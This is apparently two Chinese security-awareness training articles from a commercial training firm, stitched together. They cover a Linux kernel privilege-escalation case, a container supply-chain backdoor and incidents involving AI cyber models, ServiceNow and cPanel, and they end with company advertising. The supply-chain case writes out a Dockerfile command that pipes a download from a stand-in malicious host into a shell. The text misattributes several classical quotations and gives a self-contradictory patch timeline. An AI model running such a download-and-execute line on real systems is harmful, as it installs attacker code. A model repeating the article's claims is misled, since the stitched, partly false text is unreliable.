“防微杜渐，未雨绸缪。”
——《礼记·大学》

在信息技术日新月异的今天，安全的概念已经不再局限于“防火墙”和“杀毒软件”。从服务器的内核漏洞到企业内部协同平台的自动化流程，每一个细节都可能成为黑客的突破口。为了让全体职工在这场看不见的战争中站在制高点，我们先用头脑风暴的方式，虚构并真实结合两桩典型案例，让大家在故事中感受危机、领悟教训。

---

案例一：本地特权提升的“复制失误”（Copy Fail）——从漏洞披露到系统崩溃的全链路演绎

1️⃣ 背景概述

2026 年 5 月 3 日，安全研究公司 Theori 通过私人渠道向 Linux Kernel 维护团队提交了编号为 CVE‑2026‑31431 的本地特权提升漏洞报告。该漏洞被冠以“Copy Fail”，核心在于内核在处理 copy_to_user() 系统调用时未正确检查用户态指针的边界，攻击者只需发送几百字节的恶意代码，即可从普通用户跳到内核态，实现 root 权限。

2️⃣ 漏洞曝光的连锁反应

• 发布：Theori 在 5 月 3 日公开 PoC（Proof‑of‑Concept），并在同一天同步发布至 GitHub、Exploit‑DB 等平台。
• 传播：由于 PoC 极其简洁，仅 300 B，几乎所有懂 Linux 内核的攻击者都能在 15 分钟内自行编译利用代码。
• 抢占：同一天，全球公开的 DDoS 攻击针对 Ubuntu 镜像服务器发动，导致多地区用户在更新时出现 “failed to download repository information” 错误。
• 混乱：Linux Mint 用户在尝试切换至最快的镜像时，镜像速度仅剩 2 MB/s，且长时间无响应，导致系统更新停滞。

3️⃣ 各大发行版的应对时间线

发行版/系统	初始修补版本	正式发布时间	备注
Linux 主线 kernel	7.0、6.19.12、6.18.22、6.18.12、6.12.85、6.6.137、6.1.170、5.15.204、5.10.254	5 月 5 日（立即回滚）	Theori 已在 5 周前提交补丁，内核维护者在收到通知后迅速合入
Ubuntu	通过更新的 linux‑image‑generic 包（≥ 6.2.0‑27.31）	5 月 7 日	官方安全公告同步发布，Ubuntu 22.04 LTS 亦已回溯
Debian	通过 security-tracker 中的 kernel‑5.10.0‑13 递送	5 月 9 日	Debian 持续追踪上游补丁并自行打包
RHEL / CentOS / AlmaLinux	通过红帽安全 errata（RHSA‑2026:XXXXX）	5 月 10 日	Red Hat 采用补丁回溯，保留企业版 LTS 支持
openSUSE / SUSE Enterprise	通过 kernel‑default 更新包	5 月 8 日	SUSE 采用 ksp（Kernel Service Pack）形式快速分发
Arch Linux	滚动更新，直接在 core 仓库同步	5 月 5 日	Arch 用户几乎即时获得补丁
Fedora 42+	通过 kernel 更新（Fedora 41 仍在测试）	5 月 6 日	Fedora 社区利用 bodhi 自动推送
Gentoo	通过 sys-kernel/linux‑firmware ebuild 更新	5 月 7 日	Gentoo 需自行编译内核，部分用户仍在等待
CloudLinux / KernelCare	自动化补丁（KCT‑2026‑31431）	5 月 7 日	云端托管服务商通过热补丁缓解风险
Linux Mint	依赖 Ubuntu 主线 kernel，同步预计在 5 月 12 日左右	仍待同步	Mint 官方表示 “已在路上”，但用户需自行刷新源

4️⃣ 教训提炼

1. 补丁传播速度至关重要：即便上游已及时修复，若镜像站点受 DDoS 影响，用户仍无法获取安全更新。
2. 本地特权提升不等同于远程攻击：但一旦本地用户被社交工程诱导执行恶意脚本，后果等同于系统被完整接管。
3. 多层防御缺失是灾难放大的根源：仅依赖单一更新渠道是危险的，企业应构建内部镜像、离线补丁库以及自动化审计流水线。

---

案例二：自动化流水线中的供应链后门——“容器镜像隐匿的黑暗”

“兵马未动，粮草先行。”
——《孙子兵法·计篇》

在 2026 年 4 月的全球 “容器安全研讨会” 上，安全团队 SecAura 公开了一起针对大型物流企业（化名 “飞速物流”）的供应链攻击案例。攻击者利用 CI/CD 自动化平台的权限提升漏洞，向官方 Docker 镜像仓库植入后门，导致上万台生产服务器在数周内被植入远控木马。

1️⃣ 攻击路径全景

1. CI/CD 脚本泄露：黑客通过钓鱼邮件获取了 CI 服务器上管理员的 GitHub 令牌。
2. 篡改构建脚本：在 Dockerfile 中嵌入恶意 RUN curl -s http://malicious.example.com/backdoor | sh 命令。
3. 推送至公开镜像库：利用被盗令牌，将已植入后门的镜像推送至 docker.io/library/ubuntu‑app:latest，并修改 README 隐瞒。
4. 自动化部署：飞速物流使用 Kubernetes 自动扩展，所有新节点在启动时直接拉取最新 ubuntu‑app 镜像，后门随即激活。
5. 横向渗透：后门通过内部网络的 SMB、SSH 漏洞进一步扩散，最终窃取了内部订单数据库。

2️⃣ 影响评估

• 业务中断：被攻击的系统在 5 月 1 日凌晨出现异常流量，导致订单处理延迟 6 小时。
• 数据泄露：约 2.3 万条用户订单信息被外泄，涉及个人身份信息（PII）与付款信息。
• 经济损失：直接损失约 1.5 亿元人民币，外加品牌信任度下降的间接损失难以估计。
• 合规处罚：依据《网络安全法》与《个人信息保护法》，监管部门对企业处以最高 5 % 年营业额的罚款。

3️⃣ 关键失误点

• 凭证管理不严：GitHub 令牌未开启 最小权限（Least‑Privilege）和 多因素验证（MFA）。
• 镜像来源缺乏签名校验：未使用 Docker Content Trust（DCT）或 Notary 对镜像进行真实性校验。
• 自动化流水线缺乏安全审计：CI 脚本未经过安全审计工具（如 Snyk、Trivy）检测。
• 内部网络分段不足：生产环境与内部管理网络未实现 Zero‑Trust 分段，导致横向渗透更为顺畅。

4️⃣ 教训提炼

1. 凭证即钥匙，必须加锁：所有自动化平台的访问令牌必须采用硬件安全模块（HSM）或云 KMS 存储，并强制 MFA。
2. 镜像签名是入口防线：使用 SBOM（软件物料清单） 与 签名验证，任何未签名的镜像一律拒绝部署。
3. 安全审计应嵌入 CI/CD：每一次代码提交、容器构建、镜像推送都必须经过自动化安全扫描并出具合规报告。
4. 零信任网络是必然趋势：通过服务网格（Service Mesh）实现细粒度的访问控制与加密，防止后渗透。

---

智能化、自动化、具身智能化时代的安全需求

1. 智能化的双刃剑

人工智能（AI）已经渗透到系统监控、异常检测、自动响应等环节。AI 能在毫秒级别捕获异常流量，但同样也能被对手用于 对抗式攻击（Adversarial Attacks），让检测模型产生误判。例如，2025 年底出现的 “AI 生成的恶意代码伪装” 就让传统签名检测失效。

2. 自动化的加速器

自动化脚本、机器人流程自动化（RPA）极大提升了业务效率，却也放大了 权限误授、脚本错误 带来的风险。一次错误的 rm -rf /var/log/* 脚本如果在生产环境触发，后果不堪设想。

3. 具身智能化的未来

随着 边缘计算 与 物联网（IoT）设备的增多，智能终端（如工业机器人、AR 眼镜）将直接参与业务流程。这些具身智能体往往运行在 资源受限、更新不及时 的环境中，一旦被植入后门，攻击者可以实现在现场的 物理破坏。

“工欲善其事，必先利其器。”
——《论语·卫灵公》

在上述三大趋势交汇之处，信息安全已经从“防火墙外的围墙”转向“系统内部的防护网”。 因此，我们需要每一位职工从 “安全意识” 做起，形成 “人‑机‑系统‑环境” 四位一体的防御体系。

---

号召：加入即将开启的信息安全意识培训——让每个人都成为安全的“守门人”

培训亮点

模块	目标	形式
基础安全认知	认识常见攻击手法（钓鱼、勒索、供应链攻击）	现场讲解 + 案例剖析（含本篇两大案例）
Linux 系统硬化	学会快速检查内核补丁、配置 SELinux、使用 AppArmor	实战演练（虚拟机实验）
容器与云原生安全	掌握镜像签名、Kubernetes RBAC、供应链审计工具	Lab 实操（Docker、Helm）
AI 与自动化防御	了解 AI 检测原理、对抗式攻击的防御	互动演示 + 小组讨论
具身智能体安全	掌握边缘设备固件签名、 OTA 更新安全措施	案例研讨（工业机器人）
应急响应演练	演练从发现漏洞到发布补丁、通报的完整流程	桌面推演（红蓝对抗）
合规与审计	解读《网络安全法》《个人信息保护法》要点	讲座 + 现场问答

参与方式

1. 登录公司内部学习平台（Intranet Learning Hub），搜索 “信息安全意识培训”。
2. 报名参加 2026‑06‑15 起的 “全员安全周”（线上 + 线下混合）课程。
3. 每完成一门模块，即可获得 “安全达人” 勋章，累计 5 枚可兑换公司内部电子礼品卡。
4. 培训结束后，系统将自动生成 个人安全评估报告，帮助你定位薄弱环节并提供专属提升方案。

“人不为己，天诛地灭。”
——《左传·僖公二十三年》
让我们把这句古语的“己”翻译成 “信息安全”，每个人都是自己的“安全守护者”，也共同守护企业的“信息家园”。

---

结语：从危机中汲取力量，在智能化浪潮中筑起安全的灯塔

2026 年的两起案例——“复制失误”与“供应链后门”，像两枚警钟，提醒我们 “补丁不及时、凭证不严、镜像不签名、自动化缺审计” 仍是最常见的安全漏洞。而在 AI、自动化、具身智能化的融合环境里，这些老问题会被放大，新的攻击面（如模型投毒、边缘设备脱网）也在不断涌现。

信息安全不是技术部门的专属任务，而是每位员工的日常职责。 只有当我们每一次点击链接、每一次更新系统、每一次提交代码都经过安全思考，才能在黑客的“黑暗森林”里保持光明。

让我们在即将开启的培训中，从理论到实践，从工具到流程，全方位提升安全素养；用知识点燃防御意识，以行动筑起不可逾越的安全城墙。未来，技术会更智能，攻击也会更智能；而我们，只要保持“警惕‑学习‑创新”的循环，就一定能在风起云涌的数字世界里稳步前行。

信息安全，始于认识，成于实践，永不止步。

信息安全意识培训 关键字：信息安全 漏洞防护 自动化安全 AI安全

昆明亭长朗然科技有限公司致力于推动企业信息安全意识的提升，通过量身定制的培训方案来应对不同行业需求。我们相信教育是防范信息泄露和风险的重要一环。感兴趣的客户可以随时联系我们，了解更多关于培训项目的细节，并探索潜在合作机会。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898

头脑风暴
想象一下，当你在办公室打开电脑，眼前的屏幕闪烁着两行文字：“你已成功获取 GPT‑5.5‑Cyber 模型访问权限”。

再想象，隔壁实验室的同事正用 Claude Mythos 为企业内部渗透测试，而你却被告知这两款“超级黑客工具”只有“可信守护者”才能使用；
想象一下，公司的 ITSM 平台 ServiceNow 在夜半时分被不明黑客刷出“服务不可用”，业务线的报表、工单瞬间挂起；
最后，想象你在为客户部署最新版 cPanel 时，收到一封“你的站点已被勒索”的邮件，几乎所有网站内容瞬间被加密锁定。

这四幅画面，看似遥不可及，却正发生在我们身边的真实案例。它们不只是新闻标题，更是信息安全的警钟——提醒每一位职场人：在数字化、无人化、具身智能化深度融合的今天，安全的底线从未如此脆弱，也从未如此关键。

下面，我将以这四个典型事件为线索，逐层剖析背后的安全风险、教训与防御思路，帮助大家在日常工作中筑起防护墙，并号召所有同事积极参与即将开启的“信息安全意识培训”。

---

案例一：OpenAI 将 GPT‑5.5‑Cyber 锁在“保险箱”里——掌控黑客技术的双刃剑

事件回顾

2026 年 5 月 1 日，OpenAI 在一次公开声明中透露，将新研发的 GPT‑5.5‑Cyber 仅向“可信的网络安全防御者”开放。该模型声称具备 渗透测试、漏洞挖掘、恶意代码分析 等全链路能力，能够在“先发制人”中帮助企业发现并修补安全缺口。与此同时，OpenAI 高调批评 Anthropic 将类似模型“私藏”，指责其在“卖防弹衣的同时，向人们兜售炸弹”。

安全隐患

1. 权限过度集中：只有少数人拥有强大攻击工具的访问权，一旦这些“守护者”自身被攻破，攻击面会瞬间扩大。
2. 模型误用风险：GPT‑5.5‑Cyber 能自动生成 exploit 代码，若泄露至黑客社群，将极大降低攻击门槛，导致 攻防失衡。
3. 合规与审计盲区：模型内部学习过程难以追踪，监管部门难以辨认其输出是否违反出口控制或法律。

防御思考

• 最小特权原则：对内部使用的 AI 渗透工具实行细粒度权限控制，仅在必要时提供临时授权。
• 审计日志全链路记录：所有模型调用必须留下不可篡改的日志，并定期审计异常请求。
• 红蓝对抗演练：利用模型进行内部红队演练，验证防御体系的有效性，同时确保演练过程全程受控。

案例启示：即便是“为善”的安全工具，也可能在错误的手中变成致命武器。安全意识必须渗透到技术选型、使用流程乃至组织文化的每一个细节。

---

案例二：Anthropic 的 Claude Mythos——“独占”背后的安全误区

事件回顾

同月，Anthropic 推出了专注网络安全的 Claude Mythos，自称只向约 50 家机构提供，并承诺永不公开。OpenAI CEO Sam Altman 在 Core Memory 播客中讽刺此举为“以恐惧为卖点”。随后，有媒体披露，一家受邀机构因未能妥善管理模型 API 密钥，导致 内部研发代码库被外泄，间接泄漏了企业的关键业务流程。

安全隐患

1. 供应链泄密：高级模型的 API 密钥若被泄露，攻击者可利用模型生成针对企业的定制化攻击脚本。
2. “黑盒”信任危机：对模型内部工作原理缺乏透明度，使安全团队难以评估潜在的误报或误导输出。
3. 组织内信息孤岛：仅限少数组织使用，导致行业共同防御经验难以共享，形成“安全单点”。

防御思考

• 密钥管理自动化：使用硬件安全模块（HSM）或云原生密钥管理服务（KMS），实现密钥轮换和访问审计。
• 模型输出安全审计：对每一次模型生成的代码或脚本进行人工或自动审计，防止误导性信息被直接用于生产环境。
• 行业情报共享：即便模型限量发布，也应加入行业安全联盟，分享使用经验及风险案例。

案例启示：在追求技术领先的同时，缺乏对供应链安全的防护往往是致命的软肋。

---

案例三：ServiceNow 遭攻击——ITSM 系统成黑客新玩法

事件回顾

2026 年 5 月 3 日，ServiceNow 官方博客发布通报：一支高级持续性威胁（APT）组织利用 零日漏洞 入侵旗下云平台，导致 数千家企业的工单数据被篡改。攻击者通过伪造管理员会话，向受害企业注入恶意脚本，实现 横向移动 与 数据泄露。

安全隐患

1. 业务关键平台单点故障：ITSM 系统承载了企业的运维、变更、资产管理等关键业务，一旦被攻陷，整个业务链路将陷入混乱。
2. 默认配置风险：许多企业在部署 ServiceNow 时直接使用默认配置，未及时更新安全补丁，成为攻击者的肥肉。
3. 身份与访问管理薄弱：缺乏多因素认证（MFA）与细粒度角色划分，使得攻击者能够轻易提升权限。

防御思考

• 零信任架构：对所有内部与外部请求实施身份验证、最小权限、持续监控。
• 补丁管理自动化：使用配置管理工具（如 Ansible、Terraform）实现补丁快速批量部署。
• 行为分析与异常检测：通过 SIEM 与 UEBA 平台实时检测异常登录、权限提升等异常行为。

案例启示：即使是“官方托管”的 SaaS 产品，也不可掉以轻心。安全的第一层防线永远是 人为管理 与 技术治理 的结合。

---

案例四：cPanel 漏洞引发“百万网站”危机——小“洞”大灾难

事件回顾

5 月 4 日，安全研究员披露 cPanel 8.0 版本中存在 远程代码执行（RCE） 漏洞 CVE‑2026‑XXXX，攻击者仅需发送特制请求即可在受害服务器上执行任意命令。该漏洞在公开披露前已被网络黑市利用，导致 数百万网站被勒索软件加密，被迫支付赎金。

安全隐患

1. 依赖第三方组件：大量企业网站直接使用 cPanel 进行站点管理，未对其进行深入安全审计。
2. 更新滞后：许多站点的管理员因业务繁忙或担心更新导致服务中断，导致漏洞长时间未被修复。
3. 漏洞链式利用：攻击者利用 RCE 漏洞植入 Web Shell，再配合已有的 XSS 漏洞，实现完整攻击链。

防御思考

• 双向监控：在入口（Web 防火墙）与内部（主机入侵检测系统 HIDS）双层布置监控，及时发现异常请求。
• 最小化暴露面：将 cPanel 管理端口仅限内部网络或 VPN 访问，降低公网直接攻击概率。
• 安全加固脚本：发布并执行官方安全加固脚本，关闭不必要的 PHP 执行权限、禁用危险函数。

案例启示：“小洞”不容忽视，一旦被攻击者利用，放大效应可导致 “千里之堤毁于蚁穴”。

---

信息安全的四大警示——从案例提炼的共性要点

警示	关键要点
1️⃣ 权限集中风险	采用最小特权原则、细粒度访问控制、定期审计
2️⃣ 供应链与模型黑盒	强化密钥管理、模型输出审计、跨组织情报共享
3️⃣ 核心业务系统单点	零信任、补丁自动化、行为异常检测
4️⃣ 细微漏洞的放大	多层防护、暴露面最小化、及时加固

这四条原则，既是技术防御的基石，也是组织文化的底线。面对 AI、无人化、具身智能化日益渗透的工作场景，它们尤为重要。

---

无人化、具身智能化、数字化融合——安全新赛道的挑战与机遇

1. 无人化：机器人、无人机与自动化运维的“双刃剑”

无人化技术正在重塑生产线、仓储、甚至数据中心运维。无人机巡检、机器人手臂搬运、自动化脚本（RPA）无不提升效率。然而，一旦 无人系统的控制链路被劫持，后果往往是 物理安全与信息安全的交叉破坏。
– 风险点：通信协议未加密、默认凭证、固件更新缺失。
– 防御建议：为无人系统引入 硬件根信任（Root of Trust）、双方认证（TLS‑Mutual Auth），并在 空中/地面 建立 行为异常检测。

2. 具身智能化：AI 助手与“数字孪生”在办公中的深度渗透

从 ChatGPT‑4 到 GPT‑5.5‑Cyber，从 大型语言模型 到 数字孪生，AI 正成为工作助手、决策引擎乃至代码生成器。具身智能化（Embodied AI）意味着 AI 不再是纯粹的文本或图像模型，而是与硬件、传感器、执行器深度耦合。
– 风险点：模型输出误导、隐私泄露、对抗样本攻击。
– 防御建议：在 AI 使用层 强化 人机审查（Human‑in‑the‑Loop），对关键决策采用 多模型交叉验证，并对模型进行 对抗性安全评估。

3. 数字化融合：云‑边‑端三位一体的安全体系

企业正从 传统 IT 向 云‑边‑端 全栈数字化转型。数据在云端进行大规模分析，在边缘进行实时处理，并通过终端设备呈现。
– 风险点：跨域身份同步失效、数据在传输过程被篡改、边缘节点缺乏更新。
– 防御建议：统一 身份与访问管理（IAM），采用 零信任网络访问（ZTNA），在 数据生命周期 加密（传输层 TLS、存储层 FIPS‑AES），并实现 边缘节点自动补丁。

一句话概括：在 “无人+具身+数字” 的新生态里，安全不再是点防护，而是持续、全链路、跨域的协同防御。

---

为何每位职工都需要参加信息安全意识培训？

1. 安全的第一层防线是人
   统计数据显示，超过 90% 的安全事故 源于人为失误（钓鱼邮件、弱口令、误配置）。即便有最先进的防火墙、AI 检测系统，也难以抵御内部的“人因漏洞”。

2. 技术升级快，危害蔓延更快
   如 GPT‑5.5‑Cyber、Claude Mythos 等模型在几周内即可从研发走向商用。若员工不掌握 模型安全使用准则，误用带来的危害可能在 数小时内扩散至全球。

3. 合规要求日趋严格
   《网络安全法》、GDPR、ISO 27001 等法规对 安全培训、员工安全意识评估 提出了硬性指标。未达标的企业将面临 高额罚款 与 市场信任危机。

4. 无人化、具身智能化带来的新攻击面
   机器人、无人机、AI 助手在工作中普及后，“人‑机‑系统”的交互路径增多，潜在攻击面随之扩大。只有了解 安全操作规程，才能在异常出现时做到 快速响应。

5. 个人职业竞争力
   在信息安全人才紧缺的今天，拥有 安全意识 与 基本防御技能 的员工，将在内部晋升、跨部门合作、对外项目中拥有更大的谈判筹码。

结论：安全意识培训不是“一次性课程”，而是 职业素养的必修课，更是企业韧性与竞争力的关键要素。

---

培训计划概览 —— 从“了解”到“践行”

阶段	内容	形式	目标
预热	通过内部宣传片、案例分享让大家感受真实威胁	3 分钟微视频、海报、内部博客	激发兴趣、提升危机感
入门	信息安全基础概念、密码学、常见攻击手段	线上自学+测验（10 题）	建立安全认知框架
进阶	AI 模型安全使用规范、无人系统访问控制、零信任实施	互动研讨、现场演练（模拟钓鱼、模型 API 调用）	掌握实战技巧
实战	红蓝对抗、业务连续性演练、应急响应流程	案例演练、桌面推演（ tabletop）	能在真实环境中快速定位与处置
评估	培训后测、行为审计对比、个人改进计划	线上考试、行为日志分析	检验学习成效、形成闭环
持续	每月安全简报、季度演练、内部安全大赛	内部博客、Hackathon	保持安全敏感性、推动创新

关键点：所有培训内容均结合公司业务场景（如云服务、研发平台、物联网设备），并配套实际工具（如密码管理器、MFA 设备、AI 访问审计平台），确保学习成果能 立刻落地。

---

行动号召——让我们一起筑牢“数字城墙”

同事们，信息安全不是某个部门的专属任务，也不是技术团队的“高阶游戏”。它是 每一个人每天的职责：从不把公司重要密码写在便利贴上，到在使用 AI 辅助工具前先确认身份认证，再到定期检查无人设备的固件版本。

正所谓：“千里之堤，溃于蚁穴”。只要我们每个人都能在细节上做到严谨、警觉、合规，便能让组织的安全底线高高筑起，让黑客的每一次试探都化作无效的吹过。

让我们在 即将开启的“信息安全意识培训”活动 中，携手并进，学以致用，让 AI 时代的创新与安全共舞，让无人化、具身智能化、数字化的宏伟蓝图在坚实的安全基石上砥砺前行。

请在本周内完成培训报名，并在培训结束后提交《个人安全改进计划》，我们将在下月的安全大赛中评选出“最佳安全守护者”。

安全不是终点，而是我们每一天共同书写的长跑。愿我们在这条路上，永远保持警觉、不断学习、共创安全未来！

共勉：
– “防微杜渐，未雨绸缪”
– “知己知彼，百战不殆”
– “技术是刀，安全是盾，二者缺一不可”。

让我们从认识、防御、响应到演练，全链路打造企业的信息安全防护网。期待在培训课堂上与你相遇，携手迎接更加安全、更加智能的明天！

信息安全意识培训 关键点 未来趋势 AI安全

昆明亭长朗然科技有限公司致力于打造智能化信息安全解决方案，通过AI和大数据技术提升企业的风险管理水平。我们的产品不仅具备先进性，还注重易用性，以便用户更好地运用。对此类解决方案感兴趣的客户，请联系我们获取更多信息。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898